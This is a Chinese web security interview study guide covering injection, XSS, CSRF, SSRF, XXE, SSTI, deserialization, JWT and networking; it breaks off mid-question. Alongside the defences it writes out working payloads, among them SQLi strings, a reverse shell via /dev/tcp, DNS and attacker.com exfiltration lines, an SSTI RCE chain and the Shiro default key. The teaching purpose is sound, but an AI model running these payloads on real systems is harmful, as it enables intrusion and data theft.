目录#

Q1. 什么是 SQL 注入？产生的根因是什么？#

一句话答案：用户输入被直接拼接进 SQL 语句并交给数据库执行，攻击者借机改变查询逻辑——根因是数据与代码没有分离。

面试话术：

“SQL 注入的本质是数据和代码混在一起了。比如后端写 SELECT * FROM users WHERE name='$input'，我把输入填成 admin' OR '1'='1，那个单引号就把原来的字符串’顶开’了，我输入的内容从’数据’变成了’SQL 代码’，查询逻辑就被我改写了。”

知识点深讲：

1
// 漏洞代码（PHP）
2
$id = $_GET['id'];
3
$sql = "SELECT * FROM news WHERE id = $id";
4
// 用户输入: 1 UNION SELECT username,password FROM admin--
5
// 拼接结果: SELECT * FROM news WHERE id = 1 UNION SELECT username,password FROM admin--
6
//           -- 注释掉了后面所有残留 SQL，查询被"嫁接"了

追问预警：

• 追问：注入有哪些类型？ → 联合查询注入（UNION）、报错注入、布尔盲注、时间盲注、堆叠注入（; 分号执行第二条语句）、二次注入（输入先存库、再在其他查询处触发）。
• 追问：GET 和 POST 都可能注入吗？ → 都可能，甚至 Cookie、X-Forwarded-For 头都可能被拼进 SQL，注入点看”输入流向”，不看输入通道。

Q2. SQL 注入怎么防御？为什么预编译能防住？#

一句话答案：首选预编译 + 参数化查询，让数据永远是数据；辅以最小权限、输入校验、WAF 拦截。

面试话术：

“核心手段是预编译。SQL 语句的结构和占位符先发给数据库’编译’好，用户输入之后再作为纯数据填进去——这时候不管我输什么，都只会被当成一个字符串的值，不可能再变成 SQL 语法的一部分。另外还要给数据库账号最小权限、关闭报错回显。”

知识点深讲：

1
# ✅ 预编译（Python + SQLite）
2
cursor.execute("SELECT * FROM users WHERE name = ?", (name,))   # ? 是占位符
3
# ✅ 预编译（Java PreparedStatement）
4
# ps = conn.prepareStatement("SELECT * FROM users WHERE name=?"); ps.setString(1, name);
5

6
# ❌ 拼接（永远不要）
7
cursor.execute(f"SELECT * FROM users WHERE name = '{name}'")

为什么预编译有效：数据库先解析不带数据的语句骨架（语法树固定），后填的数据不再参与解析——注入的生存空间（参与语法解析）被釜底抽薪。

边界情况（面试加分点）：预编译防不住表名/列名/排序字段位置的注入——ORDER BY ? 的 ? 不能当列名用。这种位置只能用白名单（列名只允许从固定列表里选）。

追问预警：

• 追问：WAF 能完全防住注入吗？ → 不能。WAF 基于规则匹配，可被分块传输、编码变形、注释分割（SE/**/LECT）等手法绕过。WAF 是缓解措施，代码层修复才是根治。
• 追问：存储过程能防注入吗？ → 正确编写的存储过程内部同样用参数化则安全；若存储过程里还是拼接字符串，照样注入。

Q3. 什么是盲注？布尔盲注和时间盲注的区别？#

一句话答案：页面不直接回显数据，只能靠”问是非题”（布尔盲注）或”看秒表”（时间盲注）把数据一位一位地问出来。

面试话术：

“盲注就是页面没有数据回显。布尔盲注是构造 AND 1=1 / AND 1=2，看页面返回有没有变化，有变化说明条件被数据库执行了，然后像做’猜数字’游戏一样逐位猜数据。时间盲注是连页面差异都没有，就用 SLEEP(5)，靠响应时间差当’信号灯’。”

知识点深讲：

1
布尔盲注：payload = admin' AND ASCII(SUBSTR((SELECT secret),1,1))>64-- -
2
  页面正常          → 条件为真 → 第1个字符 ASCII > 64
3
  页面异常/空白     → 条件为假 → ≤ 64
4
  二分法逼近，每个字符约 7 次请求，log2(94) ≈ 7
5

6
时间盲注：payload = admin' AND IF(ASCII(SUBSTR(secret,1,1))>64, SLEEP(3), 0)-- -
7
  响应 >3 秒        → 条件为真
8
  响应立刻返回      → 条件为假

实战提示（结合你 06_sql_blind.py 的经验可以说）：时间盲注脚本要用固定的时间阈值（如 2.5 秒）区分真假，网络抖动会误判，最好每个问题问两遍取一致结果。

追问预警：

• 追问：为什么盲注比联合查询注入慢得多？ → 联合注入一次请求带回一行数据；盲注一个字符就要若干次请求，完整拖库是”字符数 × 每字符请求数”量级，所以实战常配合 sqlmap 的 --technique=T 提速和多线程。
• 追问：sqlmap 怎么用？ → sqlmap -u "url?id=1" --dbs --batch（跑库名）、--forms（自动填表单）、-r request.txt（带 cookie/POST，从 Burp 保存请求）、--tamper=space2comment（变形绕 WAF）。

Q4. 报错注入的常用函数有哪些？原理是什么？#

一句话答案：MySQL 里经典的是 updatexml()、extractvalue()、floor()——故意让数据库函数报错，并把要查的数据”夹带”进错误信息里带出来。

面试话术：

“页面会显示数据库报错时，可以构造一个合法但注定报错的表达式，把子查询结果拼进报错参数里。比如 updatexml(1,concat(0x7e,(SELECT version())),1)，第二个参数必须是合法 XPath，我塞了个 ~ 加查询结果进去，它一报错就把 version() 的值吐在错误信息里了。”

知识点深讲：

1
-- MySQL 5.x 经典三件套
2
AND updatexml(1,concat(0x7e,(SELECT group_concat(user) FROM mysql.user)),1)
3
AND extractvalue(1,concat(0x7e,(SELECT database())))
4
AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),floor(rand()*2))x
5
     FROM information_schema.tables GROUP BY x)a)   -- floor 报错，原文较长记思路即可
6

7
-- 关键点：报错信息有长度限制（updatexml 约 32 字符），
8
-- 长数据要用 SUBSTR() 分段拖，或先改成 group_concat 拼短字段

注意版本差异：MySQL 8.0 里部分老函数特性有变化；SQL Server 用类型转换报错（CAST(... AS int)）；PostgreSQL 有 CAST 报错。

追问预警：

• 追问：报错注入和布尔盲注怎么选？ → 有报错回显就用报错（快），没回显退回布尔盲注，页面连状态都不变就上时间盲注——利用手法跟着回显通道走。

Q5. 什么是宽字节注入？#

一句话答案：数据库用 GBK 等宽字节编码时，注入 %df' 让转义用的反斜杠和 %df “粘”成一个汉字，单引号逃逸出来。

面试话术：

“PHP 的 addslashes 会把 ' 变成 \'，即 %5C%27。如果数据库连接用了 GBK 编码，我在前面加个 %df，%df%5c 会被 GBK 当成一个合法汉字吃掉，%27 那个单引号就裸露出来了——防护被编码特性瓦解。”

知识点深讲：

1
输入:      %df'
2
addslashes: %df%5C%27            （' -> \' 即 %5C%27）
3
GBK 解码:   %df%5C -> "運"（一个汉字）   %27 -> '（裸引号！）
4
最终 SQL:  ... WHERE name='運''    ← 第二个引号顶开字符串

防御：统一使用 UTF-8（UTF-8 是变长多字节但转义逻辑不冲突）、用预编译从根上免疫、连接字符集和数据库字符集保持一致（SET NAMES 与实际一致）。

追问预警：

• 追问：UTF-8 下还有类似问题吗？ → 经典宽字节主要发生在 GBK/GB2312/BIG5；UTF-8 下这类粘字节的场景基本不成立，但字符集不一致本身依然是万恶之源（乱码 + 转义失效类问题）。

Q6. XSS 有哪三种类型？区别是什么？#

一句话答案：反射型（点一下才触发）、存储型（存进库，谁访问谁中招）、DOM 型（纯前端 JS 拼接，不经过服务器）。

面试话术：

“按 payload 落点和触发路径分三种。反射型是参数里的脚本被’反射’回页面响应里，一般要钓鱼链接配合；存储型是内容存进数据库，别人访问留言板就自动执行，危害最大；DOM 型特殊在它根本不经过服务器——是浏览器端 JS 把输入直接 innerHTML 进页面，抓包都看不到 payload。”

知识点深讲：

1
// DOM 型 XSS 的典型漏洞代码——输入没经过服务器，前端直接渲染
2
document.getElementById("greeting").innerHTML = "欢迎, " + location.hash.slice(1);
3
// 访问 page.html#<img src=x onerror=alert(document.cookie)>

追问预警：

• 追问：XSS 能干什么？ → 偷 Cookie（会话劫持）、键盘记录、钓鱼表单、内网端口探测（盲打）、结合 CSRF 打组合拳。
• 追问：怎么快速判断 XSS 位置？ → 输入唯一标记串（如 xzq123），看它在 HTML 哪个上下文（标签间/属性里/JS 里）回显，上下文决定需要的闭合符号——和 payload 四段结构一个思路。

Q7. XSS 怎么防御？HttpOnly 为什么防不了 DOM 型？#

一句话答案：输入过滤 + 输出转义（按上下文）、CSP 内容安全策略、关键 Cookie 加 HttpOnly；HttpOnly 只能挡”偷 Cookie”这一种后果，挡不住脚本本身。

面试话术：

“防御分三层。根本的是输出转义——数据回显进 HTML 前把 < > 转义成 <，而且要按上下文转义，进 HTML 属性和进 JS 的转义规则不同。第二层是 CSP，页面声明只允许加载自家域的脚本，注入的行内脚本直接不执行。第三层是给会话 Cookie 加 HttpOnly，就算脚本执行了，document.cookie 也读不到它。”

知识点深讲：

1
输出转义要"看场合"：
2
  进 HTML 标签之间：<div>用户数据</div>      → HTML 实体转义（&lt; &gt; &amp;）
3
  进 HTML 属性内：  <div title="用户数据">   → 属性转义 + 引号包裹（必须带引号）
4
  进 JS 字符串：    var x = "用户数据";      → \xHH 十六进制转义（防闭合引号）
5
  进 URL：          <a href="用户数据">      → URL 编码 + 只允许 http/https 协议

HttpOnly 的边界：它只是让 JS 读不到 Cookie（防会话劫持），但 XSS 脚本还能做键盘记录、改页面钓鱼、发起请求（带着 Cookie 自动附带）——所以 DOM 型 XSS 照样有破坏力，HttpOnly 是”损失控制”不是”治疗”。

CSP 示例：Content-Security-Policy: script-src 'self' —— 行内脚本与非自家域脚本全部失效，<script>alert(1)</script> 直接不执行。

追问预警：

• 追问：富文本编辑器怎么办？总不能把加粗标签都转义掉？ → 用白名单富文本过滤库（如前端 DOMPurify、后端 HTMLPurifier），只放行 <b> <img> 等安全标签和安全属性，禁 onerror/onclick/javascript: 伪协议。

Q8. 什么是 CSRF？和 XSS 的区别？怎么防御？#

一句话答案：CSRF 是”借你的浏览器之手”——受害者已登录的站点 Cookie 会被自动附带，恶意页面诱导浏览器发出跨站请求，冒充受害者执行操作。

面试话术：

“区别一句话：XSS 是’在你页面里执行我的代码’，CSRF 是’用你的身份发我的请求’。CSRF 不需要拿到 Cookie 内容，它利用的是浏览器发请求时自动带 Cookie 这个机制。比如我构造一个页面，里面有个自动提交的表单指向’转账接口’，你登录着网银访问了我的页面，浏览器就带着你的 Cookie 把钱转了。”

知识点深讲：

1
<!-- 攻击者页面 evil.com 上的 CSRF 攻击代码 -->
2
<img src="https://bank.com/transfer?to=hacker&amount=10000">
3
<!-- 或自动提交的隐藏表单 POST -->
4
<form action="https://bank.com/transfer" method="POST" id="f">
5
  <input type="hidden" name="to" value="hacker">
6
  <input type="hidden" name="amount" value="10000">
7
</form>
8
<script>document.getElementById('f').submit()</script>
9
<!-- 受害者的浏览器发这些请求时自动带上 bank.com 的 Cookie —— 身份"被冒用" -->

防御三板斧：

1. CSRF Token：服务端给每个会话发随机 token，表单必须携带且服务端校验——攻击者页面拿不到 token（同源策略挡着）。
2. SameSite Cookie：Set-Cookie: sid=xxx; SameSite=Lax/Strict，跨站请求不再自动带 Cookie，现代浏览器默认 Lax，直接废掉大部分 CSRF。
3. Referer/Origin 校验：检查请求来源是不是自家域（辅助手段，可被部分场景绕过）。

追问预警：

• 追问：XSS 和 CSRF 怎么组合利用？ → XSS 偷不到 HttpOnly Cookie，但页面里的脚本能直接读页面上的 CSRF Token 再发请求——一箭双雕绕过两层防御，这就是为什么 XSS 被称为”漏洞之王”。

Q9. 什么是 SSRF？哪些协议可以利用？怎么防御？#

一句话答案：SSRF 是让服务器替你发请求——服务端根据用户输入去请求 URL，攻击者把目标指向内网、本机服务或 file 协议。

面试话术：

“SSRF 场景比如’输入一个网址帮你生成预览图’。我把 URL 换成 http://127.0.0.1:6379/ 就能探测内网 Redis，换成 file:///etc/passwd 就能读文件。危害在于攻击者从外网’借’了服务器的内网身份。”

知识点深讲：

1
利用协议全家桶：
2
  http/https   探测内网存活、打未鉴权的内网服务
3
  file         file:///etc/passwd 直接读文件
4
  gopher       万能协议，能构造任意 TCP 数据包（打 Redis/MySQL/FastCGI，最强）
5
  dict         dict://127.0.0.1:6379/info 探测服务信息
6
  ftp / ldap   特定场景利用
7

8
绕过"只允许 http 且禁 127.0.0.1"的过滤：
9
  进制变形    127.0.0.1 → 0x7f000001 / 2130706433 / 0177.0.0.1
10
  DNS 重绑定  域名第一次解析回白名单 IP、第二次解析回 127.0.0.1（TOCTOU）
11
  302 跳转    让自己服务器 302 到内网地址
12
  短网址     同上思路

防御：白名单限制目标域（只允许请求约定的业务域名）、禁止内网 IP 段（含各种进制变形后再校验，解析成 IP 后再判断）、禁用非 http(s) 协议、为出网请求单独配置低权限网络位置、禁用 follow redirects（防 302 绕过）。

追问预警：

• 追问：gopher 为什么被称为”万金油”？ → gopher 协议允许在 URL 里携带任意原始字节流，等于能对目标端口”写任意内容”——相当于把 SSRF 升级成”对内网任意服务的任意 payload 投递”，打 Redis 未授权写 crontab 反弹 shell 是经典链。

Q10. 文件上传有哪些绕过姿势？#

一句话答案：客户端校验绕过（改包）、MIME/魔数伪造、黑名单扩展名变形（大小写/双写/空格/::$DATA）、.htaccess/.user.ini 解析利用、00 截断、条件竞争。

面试话术：

“绕过的核心思路是’让检查看到的’和’让服务器执行的’不是同一个东西。前端 JS 校验直接改包跳过；MIME 检查只看 Content-Type 头，抓包改 image/jpeg 就行；黑名单就变形——shell.pHp、shell.php5、Windows 下 shell.php::$DATA；白名单严的话走解析漏洞或配置文件：传 .htaccess 把 jpg 当 php 解析，或上传图片马配合包含漏洞激活。”

知识点深讲：

彻底防御（说出来是加分项）：重命名（UUID 无扩展名信息）、独立文件服务器/对象存储与 Web 隔离、目录禁执行权限、文件内容真正的格式校验（重采样图片而不是只看头）。

追问预警：

• 追问：图片马怎么”激活”？ → 图片马本身不会被当 PHP 执行，必须配合文件包含（LFI/RFI）或解析漏洞——include('uploads/avatar.jpg') 时里面的 PHP 代码才会跑。知识点是联动的。

Q11. 什么是命令注入？和代码注入的区别？#

一句话答案：命令注入是用户输入被拼进系统命令（system("ping " + ip)），用 ; && | 接管命令行；代码注入是输入被当代码执行（eval）。

面试话术：

“比如 ping 功能，后端执行 system('ping ' + ip)，我输入 127.0.0.1; cat /etc/passwd，分号后面就是我的命令。和代码注入的区别：命令注入注入的是操作系统 shell 的语法，代码注入注入的是编程语言的语法——一个是 ;id，一个是 eval($_GET['x']) 塞 PHP 代码。”

知识点深讲：

1
命令拼接符（Linux）：
2
  ;      顺序执行两条        ping 127.0.0.1; id
3
  &&     前面成功才执行后面  ping 127.0.0.1 && id
4
  ||     前面失败才执行后面  ping xxx || id
5
  |      管道（后面接命令）  ping 127.0.0.1 | id
6
  `id`   反引号包裹直接执行   ping `id`
7
  $(id)  命令替换            ping $(id)
8

9
Windows 变体：& | && || %PATH:~0,1% 之类的变量截断当分隔符
10
空格被过滤时：${IFS} 代替空格；cat 被过滤：ca''t / 'ca't 拼接

防御：绝不拼接用户输入到命令行；必须拼接时用白名单校验输入（IP 就用正则只允许数字和点）；用参数化形式的 API（Python subprocess.run(["ping", "-c", "1", ip]) 列表形式不经过 shell 解析——数组参数不触发 shell，注入语法无从生效）。

追问预警：

• 追问：无回显的命令注入怎么利用？ → 反弹 shell（bash -i >& /dev/tcp/ip/port 0>&1）、DNS 带外（curl http://whoami.dnslog.cn 把结果拼进域名）、写文件到 Web 目录再访问。

Q12. 什么是文件包含漏洞？PHP 伪协议有哪些玩法？#

一句话答案：include($_GET['file']) 让用户决定加载哪个文件——本地包含（LFI）可读任意文件，远程包含（RFI）可直接执行远程代码，配合 php:// 等伪协议威力倍增。

面试话术：

“包含漏洞就是’包含哪个文件’被用户控制了。LFI 用 ../../ 穿越读 /etc/passwd，配合日志和 session 文件还能把代码’种’进去再包含执行；RFI 在 allow_url_include 开启时能直接包含我服务器上的马。PHP 伪协议里最经典的是 php://filter——把源码 base64 编码后读出来，绕过’包含 php 文件等于执行它看不到源码’的困境。”

知识点深讲：

1
LFI 读源码（php://filter 链）：
2
  ?file=php://filter/read=convert.base64-encode/resource=flag.php
3
  → flag.php 内容被 base64 后显示（否则 include 会直接执行它）
4
  → base64 -d 解开就是源码
5

6
读日志种马（LFI + 日志包含）：
7
  ① UA 写入一句话 → 访问后 UA 被记进 /var/log/nginx/access.log
8
  ② ?file=/var/log/nginx/access.log → 日志被当 PHP 执行 → 马活了
9

10
其他伪协议速查：
11
  php://input        POST body 当文件内容（配 RFI 关闭时仍可写马）
12
  data://            data:text/plain,<?php phpinfo(); 直接执行
13
  zip:// phar://     压缩包内文件包含

防御：不要让用户控制包含路径；用白名单映射（page=home → home.php）；关闭 allow_url_include；open_basedir 限制 PHP 可访问目录。

追问预警：

• 追问：LFI 和文件上传怎么打组合拳？ → 上传图片马（内容检查通不过 PHP）→ LFI 包含图片马路径 → 马代码在包含上下文里执行。单个漏洞各自无害，组合起来致命——这就是 upload-labs 后几关的思路。

Q13. 什么是反序列化漏洞？PHP 和 Java 的利用思路？#

一句话答案：unserialize() 把字节流还原成对象时，若攻击者能控制序列化数据，可构造恶意对象属性，触发对象销毁/调用时的”魔法方法”自动执行链。

面试话术：

“反序列化漏洞的钥匙是’魔法方法自动调用’。PHP 里对象销毁时会自动跑 __destruct，我就构造一个对象，它的属性被设成能触发 __toString → __call 的链，unserialize 一结束对象销毁，链条自动转起来。Java 同理，找’入口类’的 readObject 到’执行类’的 Runtime.exec 之间的调用链，也就是 CC 链那些 gadget。”

知识点深讲：

1
PHP 反序列化链的形状：
2
  class FileHandler { public $cmd; function __destruct() { system($this->cmd); } }
3
  // 攻击者序列化时把 cmd 设为 "cat /flag"
4
  O:11:"FileHandler":1:{s:3:"cmd";s:9:"cat /flag";}
5
  // unserialize() 还原后脚本结束、对象销毁 → __destruct 自动执行 → 命令跑起来
6

7
POP 链 = Property-Oriented Programming：
8
  入口类的 __wakeup/__destruct → 中间类层层转调 → 危险 sink(system/eval/include)
9
  现实题目是入口和 sink 不在同一个类里，需要"拼积木"串起来
10

11
绕过 __wakeup（老版本 PHP < 7.0.10 / 5.6.25）：
12
  序列化串里把属性个数改大：O:11:"FileHandler":2:{...}（实际只有 1 个属性）

Java 侧关键词：ObjectInputStream.readObject() 是入口，Apache Commons-Collections（CC 链）、Fastjson（@type 自动反序列化）、Shiro（rememberMe Cookie 的 AES+序列化，密钥泄露即 RCE）是三大高频出题点。

防御：不反序列化不可信数据；JSON 等无对象语义的格式替代；必须用时校验签名 + 白名单类；升级组件版本。

追问预警：

• 追问：Shiro 反序列化的经典利用条件？ → rememberMe Cookie 是”AES 加密的序列化对象”，默认密钥硬编码（kPH+bIxk5D2deZiIxcaaaA== 等知名默认值），拿到密钥 → 加密自己的恶意序列化串 → 服务器解密反序列化 → RCE。修复即换随机密钥 + 升级。

Q14. 什么是 XXE 漏洞？#

一句话答案：XML 外部实体注入——XML 解析器允许”外部实体”时，攻击者在 DOCTYPE 里定义实体指向 file:///etc/passwd，解析时文件内容被读进文档。

面试话术：

“XML 有个实体机制，相当于’定义变量再引用’。如果解析器开了外部实体支持（libxml 默认行为的历史版本），我在 XML 头部写 <!ENTITY xxe SYSTEM "file:///etc/passwd">，正文里引用 &xxe;，服务器解析时就把文件内容填进来了。有回显直接读出来，没回显就用 OOB 外带——实体指向我控制的 dtd，把数据拼在 URL 里发出来。”

知识点深讲：

1
<?xml version="1.0"?>
2
<!DOCTYPE foo [
3
  <!ENTITY xxe SYSTEM "file:///etc/passwd">        <!-- 有回显版 -->
4
]>
5
<root>&xxe;</root>
6

7
<!-- 无回显 OOB 版：两个实体接力把数据外带到 attacker.com -->
8
<!ENTITY % file SYSTEM "file:///etc/passwd">
9
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">

进阶玩法：SSRF 探测内网（实体指向 http://192.168.1.1:8080）、Java 场景的 jar:// 协议上传临时文件、DoS（实体嵌套爆炸，“billion laughs”）。

防御：禁用外部实体——PHP libxml_disable_entity_loader(true)（新版本默认禁）、Java 设置 XMLInputFactory.SUPPORT_DTD=false；能用 JSON 就不用 XML；升级解析器版本。

追问预警：

• 追问：XXE 和 SSRF 什么关系？ → XXE 是 SSRF 的一个”发射器”：实体协议支持 http 时，等于让解析器（在服务器/内网视角）替你发请求。发现 XXE 后利用思路可以直接复用 SSRF 那套内网探测。

Q15. 什么是 SSTI？（结合 Flask/Jinja2 讲）#

一句话答案：服务端模板注入——用户输入被拼接进模板字符串当”模板代码”编译，Jinja2 里 {{7*7}} 回显 49 即实锤，可一路爬对象链到命令执行。

面试话术：

“SSTI 根因还是数据与代码不分离，这次的’代码’是模板语法。危险写法是 render_template_string('Hi ' + name)，输入变成了模板的一部分。Jinja2 验证就发 {{7*7}} 看是不是 49；利用链从 {{config}} 泄露配置开始，到 ''.__class__.__mro__[1].__subclasses__() 枚举对象，最后 lipsum.__globals__['os'].popen('cat /flag').read() 一行流 RCE。过滤了括号或关键词就用 attr 过滤器、字符串拼接绕。”

知识点深讲：

1
SSTI 利用阶梯（Jinja2）：
2
  ① 探测     {{7*7}}                    → 49
3
  ② 泄露     {{config}}                 → flag 常藏在这
4
  ③ 枚举     {{''.__class__.__mro__}}   → 爬到 object 祖先类
5
  ④ RCE      {{lipsum.__globals__['os'].popen('id').read()}}
6

7
引擎指纹（回显对照）：
8
  {{7*7}}=49            Jinja2（Python）
9
  ${7*7}=49             FreeMarker（Java）/ Thymeleaf 部分版本
10
  {{7*7}} 原样输出       未注入或 Twig 过滤 → 换 {{7*'7'}}（Twig 输出 49，Jinja 输出 7777777——经典区分题！）

防御：永远不要把用户输入拼进模板字符串（render_template_string("Hi {{name}}", name=name) 参数化是安全的）；启用 SandboxedEnvironment；输入过滤只是缓解。

追问预警：

• 追问：Jinja2 和 Twig 怎么区分？ → 发 {{7*'7'}}：Jinja2 字符串乘法输出 7777777，Twig 里是数值乘法输出 49——语言语义差异成了指纹，这是高频笔试题。

Q16. 有哪些逻辑漏洞？为什么工具扫不出来？#

一句话答案：越权（水平/垂直）、支付金额篡改、验证码复用/绕过、短信轰炸、密码重置缺陷——逻辑漏洞是”业务流程设计错误”，扫描器只懂通用漏洞特征，不懂业务语义。

面试话术：

“逻辑漏洞没法模式化匹配，因为它藏在业务流程里。比如水平越权，把’查订单’接口的 id 参数从 1001 改成 1002，就能看别人订单——接口本身没有注入特征，代码也没有漏洞，是’没校验归属’这个设计缺陷。所以挖逻辑洞必须人工走业务流程，工具只能当辅助。”

知识点深讲：

防御：服务端必须校验资源归属（每次都 where user_id = 当前会话用户）、金额等敏感字段服务端重算、关键操作二次验证、接口级权限矩阵。

追问预警：

• 追问：水平越权和垂直越权的区别？ → 水平是”同级互看”（用户 A 看用户 B 的数据），垂直是”下级冒上级”（普通用户调管理接口）。记忆：横向是平级越权，纵向是提权越权。

Q17. JWT 是什么？有哪些安全问题？#

一句话答案：JWT 是自包含的令牌（头部.载荷.签名三段 base64），安全问题集中在算法混淆（alg: none）、密钥弱可爆破、未验签、敏感信息泄露。

面试话术：

“JWT 把用户身份信息自己带在身上，服务器验签就行，不用存 session。结构是三段点分的 base64：header（算法）、payload（声明）、signature（签名）。经典漏洞：一是 alg 改成 none，老库验签时信任了这个声明直接放行；二是密钥太弱，JWT 把签名截下来本地字典爆破；三是 payload 只是 base64，不是加密，把手机号塞里面等于明文裸奔。”

知识点深讲：

1
eyJhbGciOiJIUzI1NiJ9 . eyJ1c2VyIjoiYWRtaW4ifQ . SflKxwRJSMeKKF2QT4f...
2
        header                payload              signature
3

4
攻防要点：
5
  alg: none 攻击     header 改 {"alg":"none"}，删掉签名段 → 老版本库直接接受
6
  密钥爆破          hashcat -m 16500 jwt.txt wordlist（HMAC 弱密钥）
7
  kid 注入          header 的 kid 字段拼进 SQL/命令的实现对注入友好
8
  算法混淆 RS256→HS256  公钥当 HMAC 密钥签名，服务端用公钥"验签通过"
9
  敏感信息泄露      payload 解开就是明文 JSON（base64 ≠ 加密！）

防御：锁定服务端算法白名单（不信任 header 的 alg）、强随机密钥（≥256 位）、设置短过期时间、敏感权限靠服务端会话而不是把 admin 写进 JWT。

追问预警：

• 追问：JWT 和 Session 的取舍？ → JWT 无状态、水平扩展友好、跨服务共享方便；但无法主动吊销（签发后到期前一直有效，只能靠短有效期 + 黑名单缓解）。Session 服务端可控可踢人，但有存储压力和分布式的 session 共享问题。

Q18. 什么是同源策略？CORS 是什么？和 CSRF 什么关系？#

一句话答案：同源策略（SOP）限制”协议+域名+端口”不同的页面之间读写资源，是浏览器的安全基石；CORS 是”合规的跨域授权通道”；配置错误的 CORS 会变成 CSRF 的帮凶。

面试话术：

“同源策略是浏览器给页面划的地盘：不同源的页面默认不能读你的响应、不能碰你的 DOM。但现实中跨域又是刚需，所以有了 CORS——服务端用响应头声明’我允许谁跨域访问我’。危险出在配置粗心上：如果服务端把 Access-Control-Allow-Origin 反射成任意来源还带 Allow-Credentials: true，那任何恶意网站都能带着用户 Cookie 读跨域响应——CSRF 只能’发请求’，CORS 配置错误让攻击者还能’读结果’，危害升一级。”

知识点深讲：

1
同源 = 协议 + 域名 + 端口 三者全同
2
  http://a.com/page vs https://a.com/page   不同源（协议不同）
3
  http://a.com vs http://www.a.com          不同源（域名不同）
4
  http://a.com:80 vs http://a.com:8080      不同源（端口不同）
5

6
CORS 关键响应头：
7
  Access-Control-Allow-Origin:      允许的来源（* 或具体 origin）
8
  Access-Control-Allow-Credentials: true 时才允许携带 Cookie 跨域
9
  ⚠️ 这两个头不能同时是 * + true（浏览器强制，正因如此服务端开始"反射 Origin"——事故起点）
10

11
CSRF 与 CORS 的关系：
12
  CSRF：恶意页能让浏览器"发"跨域请求（带 Cookie）但读不到响应
13
  CORS 配置错误：恶意页还能"读"到跨域响应 → 数据直接外泄

追问预警：

• 追问：JSONP 是什么？ → 老 CORS 时代的跨域方案：<script src="http://b.com/api?callback=fn"> 利用 script 标签不受同源限制的特点回传数据，需要服务端配合包裹回调函数。JSONP 只支持 GET、且容易引发 XSS（callback 参数注入），现在基本被 CORS 取代——但老系统里还常见。

Q19. XSS、CSRF、SSRF 一句话辨析#

一句话答案：XSS 在”你的页面”执行我的代码；CSRF 借”你的浏览器”发我的请求；SSRF 借”你的服务器”对我的目标发请求。

面试话术：

“我用’谁替攻击者干活’来记：XSS 是受害者的浏览器在目标站执行攻击者的 JS；CSRF 是受害者的浏览器带着他的 Cookie 向目标站发请求；SSRF 是目标服务器自己向攻击者指定的地址发请求。前两个攻击’用户’，第三个攻击’服务器’，SSRF 的独特价值是打通外网→内网。”

知识点深讲：

追问预警：

• 追问：三者的共同哲学是什么？ → 全是”信任边界失守”：XSS 是页面信任了不该信任的输入，CSRF 是服务器信任了”带 Cookie 的请求必然出自本人意愿”，SSRF 是服务器信任了用户给的 URL。安全设计第一原则：不信任任何输入。

Q20. 列举你在 CTF/实战中最有代表性的一次 Web 解题（项目经验题）#

一句话答案：（模板）背景一句 → 漏洞发现过程 → 利用链构造 → 结果，突出”思路推进”而不是堆工具名。

面试话术（拿你的真实经历套这个模板）：

“以一道 Flask 题为例：源码给了 app.py，我按’路由→输入→sink’三步读，发现 /hello 路由用 render_template_string('Hi ' + name) 拼接渲染——典型的 SSTI。先用 {{7*7}} 确认回显 49，然后 {{config}} 直接拿到了藏在配置里的 flag。后来一道变体题过滤了 {{}}，我用 {% print(...) %} 语句块加字符串拼接绕过，最后 lipsum.__globals__['os'] 一行流命令执行读的文件。这个流程让我真正理解了’数据与代码不分离’这一个根因能变出多少种漏洞。”

知识点深讲（项目题的展开结构）：

讲项目题的 STAR 骨架，但安全岗侧重漏洞发现链：

1
1. 怎么发现的（信息收集/读源码/黑盒测试动作）—— 展示"嗅觉"
2
2. 怎么验证的（最小化 PoC，{{7*7}} 这种）      —— 展示严谨
3
3. 怎么利用的（利用链，一杆到底拿权限/flag）   —— 展示深度
4
4. 印象最深的坑（过滤/编码/竞态）              —— 展示真实性
5
5. 收获的方法论（可复用的思路）                —— 展示成长性

追问预警：

• 追问：换成白盒代码审计你会怎么做？ → 全局搜危险 sink（system|eval|include|unserialize|render_template_string）→ 回溯每个 sink 的参数来源是否可达用户输入 → 中间有没有过滤/校验 → 可达即报告。工具：Seay（PHP）、CodeQL（语义化查询）、Fortify/SonarQube（商用）。

Q21. 讲一下 TCP 三次握手和四次挥手#

一句话答案：建立连接需三报文（SYN → SYN+ACK → ACK），断开需四报文（FIN → ACK → FIN → ACK），因为 TCP 是全双工，两个方向要分别关。

面试话术：

“握手：客户端发 SYN 带初始序号 x，服务端回 SYN+ACK（确认号 x+1、自己的序号 y），客户端再回 ACK 确认 y+1——三次的目的本质是双方都确认了’我能发你能收’和’你能发我能收’两个方向，两次不够（服务端无法确认自己发的对方收到了），四次浪费。挥手：主动方发 FIN 表示’我发完了’，对方先 ACK，等自己数据也发完再发 FIN，主动方回 ACK 并进入 TIME_WAIT。四次是因为被动方的 ACK 和 FIN 通常不能合并——它可能还有数据没发完。”

知识点深讲：

1
三次握手                          四次挥手
2
C ----------SYN, seq=x-------->  A ---------FIN---------> B
3
C <-----SYN+ACK, seq=y, ack=x+1  A <---------ACK---------- B
4
C ----------ACK, ack=y+1------->  A ---------FIN---------> B
5
                                  A <---------ACK---------- B
6
                                  （A 进入 TIME_WAIT 等 2MSL 后 CLOSED）
7

8
关键状态：SYN_RCVD（服务端半连接） ESTABLISHED（ established）
9
TIME_WAIT 等待 2MSL 的原因：
10
  ① 保证最后的 ACK 丢了还能重传  ② 让旧连接的报文在网络中自然死亡，不污染新连接

追问预警：

• 追问：SYN Flood 攻击是什么？ → 只发 SYN 不回第三次 ACK，服务端半连接队列（SYN_RCVD）被占满，正常用户无法连接。防御：SYN Cookie（不占队列，把状态编码进 SYN+ACK 的序号里）。
• 追问：挥手为什么不能三次？ → 被动方收到 FIN 时自己可能还有数据要发，ACK 先回、FIN 得等发完再发，中间有时间差，拆成四报文。若被动方恰好无数据，ACK+FIN 可合并成三次——所以”三次挥手”是特例不是常态。

Q22. HTTP 和 HTTPS 的区别？HTTPS 握手过程？#

一句话答案：HTTP 明文（80 端口），HTTPS = HTTP + TLS 加密（443 端口）；握手核心是”用非对称加密协商出对称密钥，之后全程对称加密”。

面试话术：

